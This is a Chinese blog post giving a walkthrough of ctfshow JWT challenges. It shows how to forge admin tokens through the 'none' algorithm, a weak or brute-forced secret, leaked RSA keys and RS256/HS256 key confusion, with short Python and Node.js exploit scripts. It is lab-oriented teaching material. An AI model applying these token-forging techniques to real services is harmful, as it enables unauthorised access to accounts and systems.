您当前的位置: 首页 > 

Z3eyOnd

暂无认证

  • 3浏览

    0关注

    117博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

JWT-ctfshow

Z3eyOnd 发布时间:2021-10-07 16:08:42 ,浏览量:3

文章目录
    • JWT的简介
    • web354(无加密)
    • web346
    • web347
    • web348
    • web349
    • web350

JWT的简介

JWT简要介绍

JSON Web Token 入门教程

明确header,payload,signature三个东西的组成原理

明确jwt的作用和与session_id的区别所在。

base64URL的加密算法。

web354(无加密)

F12看到有个/admin的文件目录,进去之后访问不了

然后抓包发现一串cookie中的token,就是JWT

我们将

第一部分{“alg”:“None”,“typ”:“jwt”}base64编码后是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0(去掉等号) 第二部分[{“sub”:“admin”}]base64编码后是W3sic3ViIjoiYWRtaW4ifV0 所以把原来的jwt修改为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0然后访问/admin/即可

这儿有个小知识

/admin,表示/admin.php
/admin/,表示admin下的文件目录
web346

签名算法被修改为none,从而实现任意的修改token

JWT如果将header中的alg设置为“None”,那么JWT中的内容没有加密,第三部分直接置空,所有的都可以访问,可以任意构造token来达到效果。

前面同样的操作,但是因为None,jwt.io不可以实现

我们用脚本

import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "admin",
  "jti": "943d0b3237806659d2e205e42b319494"
}

headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)

然后访问即可/admin/得到。

web347

弱口令密钥

听题目说是弱口令

将sub:user,改为sub:admin,绕过修改密钥为123456,即可得到token

访问/admin/,即可得到flag

web348

爆破密钥

使用爆破工具c-jwt-cracker

https://github.com/brendan-rius/c-jwt-cracker

爆破出来,得到密匙为aaab,其他跟上面的操作一样

web349

公私钥泄露

打开环境附件

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

发现可以通过url+/private.key和public.key得到公钥和私钥

然后将内容填入jwt.io,改admin,后面一样的

web350

密钥混淆攻击

该题是RS256和HS256的转换

关于RS的介绍

密钥混淆攻击 - SCU-CTF HomePage (scuctf.com)

https://xz.aliyun.com/t/2338

nodejs运行exp

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

后面一样的

关注
打赏
1651657201
查看更多评论
立即登录/注册

微信扫码登录

0.0770s